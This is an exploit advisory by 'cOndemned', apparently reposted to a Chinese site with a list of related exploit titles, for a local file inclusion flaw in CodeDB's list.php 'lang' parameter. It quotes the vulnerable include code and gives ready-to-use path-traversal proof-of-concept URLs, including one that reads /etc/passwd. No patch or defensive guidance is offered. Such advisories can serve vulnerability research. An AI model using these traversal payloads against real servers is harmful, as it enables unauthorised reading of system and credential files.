###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]
EoF.
【CodeDB (list.php lang) Local File Inclusion Vulnerability】相关文章:
★ Maian Greetings 2.1 Insecure Cookie Handling Vulnerability
★ VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
★ Joomla Component EZ Store Remote Blind SQL Injection Exploit
★ Maian Music 1.0 Insecure Cookie Handling Vulnerability
★ pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
★ pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability
★ Maian Events 2.0 Insecure Cookie Handling Vulnerability
★ Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit
★ MS Windows (MessageBox) Memory Corruption Local Denial of Service
★ Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)